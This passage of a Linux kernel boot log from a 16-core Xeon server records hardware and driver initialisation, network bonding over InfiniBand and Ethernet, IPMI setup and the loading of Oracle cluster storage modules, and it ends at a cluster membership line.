CPU: Processor Core ID: 3
CPU15: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
Brought up 16 CPUs
testing NMI watchdog ... OK.
time.c: Using 14.318180 MHz WALL HPET GTOD HPET/TSC timer.
time.c: Detected 2527.101 MHz processor.
sizeof(vma)=176 bytes
sizeof(page)=56 bytes
sizeof(inode)=560 bytes
sizeof(dentry)=216 bytes
sizeof(ext3inode)=760 bytes
sizeof(buffer_head)=96 bytes
sizeof(skbuff)=240 bytes
migration_cost=2,22,1217
checking if image is initramfs... it is
Freeing initrd memory: 2086k freed
NET: Registered protocol family 16
No dock devices found.
ACPI: bus type pci registered
PCI: Using MMCONFIG at e0000000
ACPI: Interpreter enabled
ACPI: Using IOAPIC for interrupt routing
ACPI: PCI Root Bridge [PCI0] (0000:00)
Boot video device is 0000:1f:05.0
PCI: Transparent bridge - 0000:00:1e.0
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE1._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE2._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE3._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE7._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE9._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.P0P1._PRT]
ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 6 7 *10 11 12 14 15)
ACPI: PCI Interrupt Link [LNKB] (IRQs *5)
ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 6 7 10 11 12 14 *15)
ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 6 7 10 *11 12 14 15)
ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 6 7 10 11 12 14 15) *0, disabled.
ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 6 7 10 11 12 *14 15)
ACPI: PCI Interrupt Link [LNKG] (IRQs 3 4 6 7 10 11 12 14 15) *0, disabled.
ACPI: PCI Interrupt Link [LNKH] (IRQs *3 4 6 7 10 11 12 14 15)
Linux Plug and Play Support v0.97 (c) Adam Belay
pnp: PnP ACPI init
pnp: PnP ACPI: found 15 devices
usbcore: registered new driver usbfs
usbcore: registered new driver hub
PCI: Using ACPI for IRQ routing
PCI: If a device doesn't work, try "pci=routeirq".  If it helps, post a report
NetLabel: Initializing
NetLabel:  domain hash size = 128
NetLabel:  protocols = UNLABELED CIPSOv4
NetLabel:  unlabeled traffic allowed by default
hpet0: at MMIO 0xfed00000 (virtual 0xffffffffff5fe000), IRQs 2, 8, 0, 0
hpet0: 4 64-bit timers, 14318180 Hz
PCI-GART: No AMD northbridge found.
pnp: 00:0a: ioport range 0x400-0x41f has been reserved
PCI: Bridge: 0000:00:01.0
  IO window: b000-bfff
  MEM window: fac00000-facfffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:02.0
  IO window: c000-cfff
  MEM window: fad00000-fadfffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:03.0
  IO window: d000-dfff
  MEM window: fae00000-faefffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:07.0
  IO window: disabled.
  MEM window: disabled.
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:09.0
  IO window: disabled.
  MEM window: faf00000-faffffff
  PREFETCH window: f9800000-f9ffffff
PCI: Ignore bogus resource 6 [0:0] of 0000:1f:05.0
PCI: Bridge: 0000:00:1e.0
  IO window: e000-efff
  MEM window: fb000000-fbefffff
  PREFETCH window: disabled.
PCI: Setting latency timer of device 0000:00:01.0 to 64
PCI: Setting latency timer of device 0000:00:02.0 to 64
PCI: Setting latency timer of device 0000:00:03.0 to 64
PCI: Setting latency timer of device 0000:00:07.0 to 64
PCI: Setting latency timer of device 0000:00:09.0 to 64
PCI: Setting latency timer of device 0000:00:1e.0 to 64
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
audit: initializing netlink socket (disabled)
type=2000 audit(1290102048.642:1): initialized
Total HugeTLB memory allocated, 0
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
SELinux:  Registering netfilter hooks
Initializing Cryptographic API
alg: No test for crc32c (crc32c-generic)
ksign: Installing public key data
Loading keyring
- Added public key 105B9C4057F6D166
- User ID: Oracle USA, Inc. (Kernel Module GPG key)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
PCI: Setting latency timer of device 0000:00:01.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:01.0:pcie00]
Allocate Port Service[0000:00:01.0:pcie01]
PCI: Setting latency timer of device 0000:00:02.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:02.0:pcie00]
Allocate Port Service[0000:00:02.0:pcie01]
PCI: Setting latency timer of device 0000:00:03.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:03.0:pcie00]
Allocate Port Service[0000:00:03.0:pcie01]
PCI: Setting latency timer of device 0000:00:07.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:07.0:pcie00]
Allocate Port Service[0000:00:07.0:pcie01]
PCI: Setting latency timer of device 0000:00:09.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:09.0:pcie00]
Allocate Port Service[0000:00:09.0:pcie01]
pci_hotplug: PCI Hot Plug PCI Core version: 0.5
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P001Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P001Cst] [20060707]
ACPI: CPU0 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P002Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P002Cst] [20060707]
ACPI: CPU1 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P003Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P003Cst] [20060707]
ACPI: CPU2 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P004Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P004Cst] [20060707]
ACPI: CPU3 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P005Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P005Cst] [20060707]
ACPI: CPU4 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P006Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P006Cst] [20060707]
ACPI: CPU5 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P007Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P007Cst] [20060707]
ACPI: CPU6 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P008Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P008Cst] [20060707]
ACPI: CPU7 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P009Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P009Cst] [20060707]
ACPI: CPU8 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P010Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P010Cst] [20060707]
ACPI: CPU9 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P011Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P011Cst] [20060707]
ACPI: CPU10 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P012Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P012Cst] [20060707]
ACPI: CPU11 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P013Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P013Cst] [20060707]
ACPI: CPU12 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P014Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P014Cst] [20060707]
ACPI: CPU13 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P015Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P015Cst] [20060707]
ACPI: CPU14 (power states: C1[C1] C2[C2] C3[C3])
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [DpgPmm] OemTableId [ P016Ist] [20060707]
ACPI (exconfig-0456): Dynamic SSDT Load - OemId [ PmRef] OemTableId [ P016Cst] [20060707]
ACPI: CPU15 (power states: C1[C1] C2[C2] C3[C3])
Real Time Clock Driver v1.12ac
hpet_resources: 0xfed00000 is busy
Non-volatile memory driver v1.2
Linux agpgart interface v0.101 (c) Dave Jones
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
00:0b: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 16384K size 4096 blocksize
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
Probing IDE interface ide0...
Probing IDE interface ide1...
ide-floppy driver 0.99.newide
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
PNP: No PS/2 controller found. Probing ports directly.
Failed to disable AUX port, but continuing anyway... Is this a SiS?
If AUX port is really absent please use the 'i8042.noaux' option.
serio: i8042 KBD port at 0x60,0x64 irq 1
mice: PS/2 mouse device common for all mice
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
TCP bic registered
Initializing IPsec netlink socket
NET: Registered protocol family 1
NET: Registered protocol family 17
ACPI: (supports S0 S5)
Freeing unused kernel memory: 200k freed
Write protecting the kernel read-only data: 483k
USB Universal Host Controller Interface driver v3.0
GSI 16 sharing vector 0xD9 and IRQ 16
ACPI: PCI Interrupt 0000:00:1a.0[A] -> GSI 16 (level, low) -> IRQ 217
PCI: Setting latency timer of device 0000:00:1a.0 to 64
uhci_hcd 0000:00:1a.0: UHCI Host Controller
uhci_hcd 0000:00:1a.0: new USB bus registered, assigned bus number 1
uhci_hcd 0000:00:1a.0: irq 217, io base 0x0000a800
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
GSI 17 sharing vector 0xE1 and IRQ 17
ACPI: PCI Interrupt 0000:00:1a.1[B] -> GSI 21 (level, low) -> IRQ 225
PCI: Setting latency timer of device 0000:00:1a.1 to 64
uhci_hcd 0000:00:1a.1: UHCI Host Controller
uhci_hcd 0000:00:1a.1: new USB bus registered, assigned bus number 2
uhci_hcd 0000:00:1a.1: irq 225, io base 0x0000a880
usb usb2: configuration #1 chosen from 1 choice
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 2 ports detected
GSI 18 sharing vector 0xE9 and IRQ 18
ACPI: PCI Interrupt 0000:00:1a.2[D] -> GSI 19 (level, low) -> IRQ 233
PCI: Setting latency timer of device 0000:00:1a.2 to 64
uhci_hcd 0000:00:1a.2: UHCI Host Controller
uhci_hcd 0000:00:1a.2: new USB bus registered, assigned bus number 3
uhci_hcd 0000:00:1a.2: irq 233, io base 0x0000ac00
usb usb3: configuration #1 chosen from 1 choice
hub 3-0:1.0: USB hub found
hub 3-0:1.0: 2 ports detected
GSI 19 sharing vector 0x32 and IRQ 19
ACPI: PCI Interrupt 0000:00:1d.0[A] -> GSI 23 (level, low) -> IRQ 50
PCI: Setting latency timer of device 0000:00:1d.0 to 64
uhci_hcd 0000:00:1d.0: UHCI Host Controller
uhci_hcd 0000:00:1d.0: new USB bus registered, assigned bus number 4
uhci_hcd 0000:00:1d.0: irq 50, io base 0x0000a080
usb usb4: configuration #1 chosen from 1 choice
hub 4-0:1.0: USB hub found
hub 4-0:1.0: 2 ports detected
usb 2-1: new full speed USB device using uhci_hcd and address 2
ACPI: PCI Interrupt 0000:00:1d.1[B] -> GSI 19 (level, low) -> IRQ 233
PCI: Setting latency timer of device 0000:00:1d.1 to 64
uhci_hcd 0000:00:1d.1: UHCI Host Controller
uhci_hcd 0000:00:1d.1: new USB bus registered, assigned bus number 5
uhci_hcd 0000:00:1d.1: irq 233, io base 0x0000a400
usb usb5: configuration #1 chosen from 1 choice
hub 5-0:1.0: USB hub found
hub 5-0:1.0: 2 ports detected
GSI 20 sharing vector 0x3A and IRQ 20
ACPI: PCI Interrupt 0000:00:1d.2[C] -> GSI 18 (level, low) -> IRQ 58
PCI: Setting latency timer of device 0000:00:1d.2 to 64
uhci_hcd 0000:00:1d.2: UHCI Host Controller
uhci_hcd 0000:00:1d.2: new USB bus registered, assigned bus number 6
uhci_hcd 0000:00:1d.2: irq 58, io base 0x0000a480
usb usb6: configuration #1 chosen from 1 choice
hub 6-0:1.0: USB hub found
hub 6-0:1.0: 2 ports detected
usb 2-1: configuration #1 chosen from 1 choice
hub 2-1:1.0: USB hub found
hub 2-1:1.0: 2 ports detected
ohci_hcd: 2005 April 22 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ACPI: PCI Interrupt 0000:00:1a.7[C] -> GSI 18 (level, low) -> IRQ 58
PCI: Setting latency timer of device 0000:00:1a.7 to 64
ehci_hcd 0000:00:1a.7: EHCI Host Controller
ehci_hcd 0000:00:1a.7: new USB bus registered, assigned bus number 7
ehci_hcd 0000:00:1a.7: debug port 1
PCI: cache line size of 32 is not supported by device 0000:00:1a.7
ehci_hcd 0000:00:1a.7: irq 58, io mem 0xfabde000
ehci_hcd 0000:00:1a.7: USB 2.0 started, EHCI 1.00, driver 10 Dec 2004
usb usb7: configuration #1 chosen from 1 choice
hub 7-0:1.0: USB hub found
hub 7-0:1.0: 6 ports detected
usb 2-1: USB disconnect, address 2
ACPI: PCI Interrupt 0000:00:1d.7[A] -> GSI 23 (level, low) -> IRQ 50
PCI: Setting latency timer of device 0000:00:1d.7 to 64
ehci_hcd 0000:00:1d.7: EHCI Host Controller
ehci_hcd 0000:00:1d.7: new USB bus registered, assigned bus number 8
ehci_hcd 0000:00:1d.7: debug port 1
PCI: cache line size of 32 is not supported by device 0000:00:1d.7
ehci_hcd 0000:00:1d.7: irq 50, io mem 0xfabdc000
ehci_hcd 0000:00:1d.7: USB 2.0 started, EHCI 1.00, driver 10 Dec 2004
usb usb8: configuration #1 chosen from 1 choice
hub 8-0:1.0: USB hub found
hub 8-0:1.0: 6 ports detected
SCSI subsystem initialized
megasas: 00.00.04.17 Tues. Sep. 15, 11:41:51 PST 2009
megasas: 0x1000:0x0079:0x1000:0x9263: bus 13:slot 0:func 0
GSI 21 sharing vector 0x42 and IRQ 21
ACPI: PCI Interrupt 0000:0d:00.0[A] -> GSI 24 (level, low) -> IRQ 66
PCI: Setting latency timer of device 0000:0d:00.0 to 64

 gen2: instance->base_addr = faefc000<6>megasas: FW now in Ready state
megasas: max_sectors : 0x280, cmd_per_lun : 0x80
scsi0 : LSI Logic SAS based MegaRAID driver
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: HITACHI   Model: H103014SCSUN146G  Rev: A2A8
  Type:   Direct-Access                      ANSI SCSI revision: 06
  Vendor: LSI       Model: MR9261-8i         Rev: 2.0.
  Type:   Direct-Access                      ANSI SCSI revision: 05
SCSI device sda: 570310656 512-byte hdwr sectors (291999 MB)
sda: Write Protect is off
sda: Mode Sense: 1f 00 00 08
SCSI device sda: drive cache: write back, no read (daft)
SCSI device sda: 570310656 512-byte hdwr sectors (291999 MB)
sda: Write Protect is off
sda: Mode Sense: 1f 00 00 08
SCSI device sda: drive cache: write back, no read (daft)
 sda: sda1 sda2 sda3
sd 0:2:0:0: Attached scsi disk sda
HP CISS Driver (v 3.6.20)
libata version 3.00 loaded.
Initializing USB Mass Storage driver...
usb 7-3: new high speed USB device using ehci_hcd and address 2
usb 7-3: configuration #1 chosen from 1 choice
hub 7-3:1.0: USB hub found
hub 7-3:1.0: 2 ports detected
usb 8-3: new high speed USB device using ehci_hcd and address 2
usb 8-3: configuration #1 chosen from 1 choice
hub 8-3:1.0: USB hub found
hub 8-3:1.0: 4 ports detected
usbcore: registered new driver usb-storage
USB Mass Storage support registered.
usb 3-1: new low speed USB device using uhci_hcd and address 2
usb 3-1: configuration #1 chosen from 1 choice
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input0
input: USB HID v1.10 Keyboard [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
input: American Megatrends Inc. Virtual Keyboard and Mouse as /class/input/input1
input: USB HID v1.10 Mouse [American Megatrends Inc. Virtual Keyboard and Mouse] on usb-0000:00:1a.2-1
usb 5-2: new low speed USB device using uhci_hcd and address 2
usb 5-2: configuration #1 chosen from 1 choice
input: Avocent Avocent DSRIQ-USB as /class/input/input2
input: USB HID v1.10 Keyboard [Avocent Avocent DSRIQ-USB] on usb-0000:00:1d.1-2
input: Avocent Avocent DSRIQ-USB as /class/input/input3
input: USB HID v1.10 Mouse [Avocent Avocent DSRIQ-USB] on usb-0000:00:1d.1-2
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
SELinux:  Disabled at runtime.
SELinux:  Unregistering netfilter hooks
type=1404 audit(1290102078.790:2): selinux=0 auid=4294967295 ses=4294967295
input: PC Speaker as /class/input/input4
mlx4_core: Mellanox ConnectX core driver v1.0 (April 4, 2008)
mlx4_core: Initializing 0000:19:00.0
GSI 22 sharing vector 0x4A and IRQ 22
ACPI: PCI Interrupt 0000:19:00.0[A] -> GSI 32 (level, low) -> IRQ 74
PCI: Setting latency timer of device 0000:19:00.0 to 64
Intel(R) Gigabit Ethernet Network Driver - version 1.2.45-k2ora
Copyright (c) 2008 Intel Corporation.
mlx4_core 0000:19:00.0: Only 10 MSI-X vectors available, need 17. Trying again
ahci 0000:00:1f.2: version 3.0
ACPI: PCI Interrupt 0000:00:1f.2[B] -> GSI 19 (level, low) -> IRQ 233
mlx4_ib: Mellanox ConnectX InfiniBand driver v1.0 (April 4, 2008)
ahci 0000:00:1f.2: AHCI 0001.0200 32 slots 6 ports 3 Gbps 0x3f impl SATA mode
ahci 0000:00:1f.2: flags: 64bit ncq sntf stag pm led clo pio slum part ems
PCI: Setting latency timer of device 0000:00:1f.2 to 64
scsi1 : ahci
scsi2 : ahci
scsi3 : ahci
scsi4 : ahci
scsi5 : ahci
scsi6 : ahci
ata1: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8100 irq 162
ata2: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8180 irq 162
ata3: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8200 irq 162
ata4: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8280 irq 162
ata5: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8300 irq 162
ata6: SATA max UDMA/133 abar m2048@0xfabd8000 port 0xfabd8380 irq 162
ata1: SATA link down (SStatus 0 SControl 300)
ata2: SATA link down (SStatus 0 SControl 300)
ata3: SATA link down (SStatus 0 SControl 300)
ata4: SATA link down (SStatus 0 SControl 300)
ata5: SATA link down (SStatus 0 SControl 300)
ata6: SATA link down (SStatus 0 SControl 300)
shpchp: Standard Hot Plug PCI Controller Driver version: 0.4
GSI 23 sharing vector 0xAA and IRQ 23
ACPI: PCI Interrupt 0000:00:1f.3[C] -> GSI 18 (level, low) -> IRQ 58
ACPI: PCI Interrupt 0000:01:00.0[A] -> GSI 28 (level, low) -> IRQ 170
PCI: Setting latency timer of device 0000:01:00.0 to 64
igb 0000:01:00.0: Intel(R) Gigabit Ethernet Network Connection
igb 0000:01:00.0: eth0: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:50
igb 0000:01:00.0: eth0: PBA No: 2030ff-0ff
igb 0000:01:00.0: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 24 sharing vector 0xE2 and IRQ 24
ACPI: PCI Interrupt 0000:01:00.1[B] -> GSI 40 (level, low) -> IRQ 226
PCI: Setting latency timer of device 0000:01:00.1 to 64
igb 0000:01:00.1: Intel(R) Gigabit Ethernet Network Connection
igb 0000:01:00.1: eth1: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:51
igb 0000:01:00.1: eth1: PBA No: 2030ff-0ff
igb 0000:01:00.1: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 25 sharing vector 0x5B and IRQ 25
ACPI: PCI Interrupt 0000:07:00.0[A] -> GSI 29 (level, low) -> IRQ 91
PCI: Setting latency timer of device 0000:07:00.0 to 64
igb 0000:07:00.0: Intel(R) Gigabit Ethernet Network Connection
igb 0000:07:00.0: eth2: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:52
igb 0000:07:00.0: eth2: PBA No: 2030ff-0ff
igb 0000:07:00.0: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
GSI 26 sharing vector 0x93 and IRQ 26
ACPI: PCI Interrupt 0000:07:00.1[B] -> GSI 41 (level, low) -> IRQ 147
PCI: Setting latency timer of device 0000:07:00.1 to 64
sd 0:2:0:0: Attached scsi generic sg0 type 0
igb 0000:07:00.1: Intel(R) Gigabit Ethernet Network Connection
igb 0000:07:00.1: eth3: (PCIe:2.5Gb/s:unknown) 00:21:28:6b:02:53
igb 0000:07:00.1: eth3: PBA No: 2030ff-0ff
igb 0000:07:00.1: Using MSI-X interrupts. 4 rx queue(s), 1 tx queue(s)
floppy0: no floppy controllers found
lp: driver loaded but no devices found
fuse init (API version 7.8)
fuse distribution version: 2.7.4
ACPI: Power Button (FF) [PWRF]
ACPI: Power Button (CM) [PWRB]
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.11.5-ioctl (2007-12-12) initialised: dm-devel@redhat.com
device-mapper: multipath: version 1.0.5 loaded
EXT3 FS on sda1, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
Adding 16771852k swap on /dev/sda2.  Priority:-1 extents:1 across:16771852k
IA-32 Microcode Update Driver: v1.14a
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
IPv6 over IPv4 tunneling driver
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
ib0: mtu > 2044 will cause multicast packet drops.
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
ib1: mtu > 2044 will cause multicast packet drops.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
NET: Registered protocol family 28
Registered RDS/iwarp transport
Registered RDS/infiniband transport
Loading iSCSI transport class v2.0-724.
iscsi: registered transport (tcp)
Ethernet Channel Bonding Driver: v3.2.3 (December 6, 2007)
bonding: Warning: either miimon or arp_interval and arp_ip_target module parameters must be specified,
otherwise bonding will not detect link failures! see bonding.txt for details.
bonding: bond0: setting mode to active-backup (1).
bonding: bond0: Setting MII monitoring interval to 100.
bonding: bond0: Setting down delay to 5000.
bonding: bond0: Setting up delay to 5000.
ADDRCONF(NETDEV_UP): bond0: link is not ready
ib0: enabling connected mode will cause multicast packet drops
ib0: mtu > 2044 will cause multicast packet drops.
bonding: bond0: Adding slave ib0.
bonding: bond0: Warning: enslaved VLAN challenged slave ib0. Adding VLANs will be blocked as long as
ib0 is part of bond bond0
bonding: bond0: Warning: The first slave device specified does not support setting the MAC address.
Enabling the fail_over_mac option.<6>bonding: bond0: enslaving ib0 as a backup interface with a down link.
bonding: bond0: link status up for interface ib0, enabling it in 5000 ms.
ib1: enabling connected mode will cause multicast packet drops
ib1: mtu > 2044 will cause multicast packet drops.
bonding: bond0: Adding slave ib1.
bonding: bond0: Warning: enslaved VLAN challenged slave ib1. Adding VLANs will be blocked as long
as ib1 is part of bond bond0
bonding: bond0: making interface ib0 the new active one 100 ms earlier.
bonding: bond0: first active interface up!
bonding: bond0: enslaving ib1 as a backup interface with a down link.
ADDRCONF(NETDEV_CHANGE): bond0: link becomes ready
ib0: mtu > 2044 will cause multicast packet drops.
ib1: mtu > 2044 will cause multicast packet drops.
bonding: bond0: link status up for interface ib1, enabling it in 5000 ms.
RDS/IB: connected to 172.168.8.13 version 3.1
RDS/IB: connected to 172.168.8.11 version 3.1
bonding: bond1: setting mode to active-backup (1).
bonding: bond1: Setting MII monitoring interval to 100.
bonding: bond1: Setting down delay to 5000.
bonding: bond1: Setting up delay to 5000.
ADDRCONF(NETDEV_UP): bond1: link is not ready
bonding: bond1: Adding slave eth1.
bonding: bond1: enslaving eth1 as a backup interface with a down link.
igb 0000:01:00.1: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
bonding: bond1: link status up for interface eth1, enabling it in 5000 ms.
bonding: bond1: Adding slave eth2.
bonding: bond1: making interface eth1 the new active one 100 ms earlier.
bonding: bond1: first active interface up!
bonding: bond1: enslaving eth2 as a backup interface with a down link.
ADDRCONF(NETDEV_CHANGE): bond1: link becomes ready
igb 0000:07:00.0: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
bonding: bond1: link status up for interface eth2, enabling it in 5000 ms.
RDS/IB: connected to 172.168.8.20 version 3.1
RDS/IB: connected to 172.168.8.14 version 3.1
RDS/IB: connected to 172.168.8.16 version 3.1
RDS/IB: connected to 172.168.8.19 version 3.1
RDS/IB: connected to 172.168.8.15 version 3.1
RDS/IB: connected to 172.168.8.17 version 3.1
RDS/IB: connected to 172.168.8.18 version 3.1
bonding: bond0: link status definitely up for interface ib1.
ADDRCONF(NETDEV_UP): eth0: link is not ready
igb 0000:01:00.0: NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX/TX
ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
bonding: bond1: link status definitely up for interface eth2.
ipmi message handler version 39.1
IPMI System Interface driver.
ipmi_si: Trying SMBIOS-specified kcs state machine at i/o address 0xca2, slave address 0x0, irq 0
ipmi: Found new BMC (man_id: 0x00002a,  prod_id: 0x4701, dev_id: 0x20)
 IPMI kcs interface initialized
ipmi_si: Trying ACPI-specified kcs state machine at i/o address 0xca2, slave address 0x0, irq 0
ipmi_si: duplicate interface
ipmi device interface
bond0: no IPv6 routers present
IPMI Watchdog: driver initialized
Copyright (C) 2004 MontaVista Software - IPMI Powerdown via sys_reboot.
IPMI poweroff: ATCA Detect mfg 0x2A prod 0x4701
IPMI poweroff: Found a chassis style poweroff function
bond1: no IPv6 routers present
megasas: fasync_helper was not called first
eth0: no IPv6 routers present
oracleoks: module license 'Proprietary' taints kernel.
[Oracle OKS] mallocing log buffer, size=10485760
[Oracle OKS] log buffer = 0xffffc2001013e000
[Oracle OKS] Module load succeeded. Build information: (LOW DEBUG)- (USM_11.2.0.1.0_LINUX.X64_090715.1)
, Built on Aug  2 2009
oracleadvm: no version for "KsRwLockReadTry" found: kernel tainted.
[Oracle ADVM] Module load succeeded. Build information:  (LOW DEBUG) - USM_11.2.0.1.0_LINUX.X64_090715.1
Built on Aug  2 2009
[Oracle ACFS] Module load succeeded. Build information:  (LOW DEBUG), (USM_11.2.0.1.0_LINUX.X64_090715.1),
Built on Aug  2 2009
RDS/IB: connected to 172.168.8.10 version 3.1
RDS/IB: connected to 172.168.8.10 version 3.1
[Oracle OKS] Cluster Membership change - Current  incarn 0x6
[Oracle OKS] Nodes in cluster:
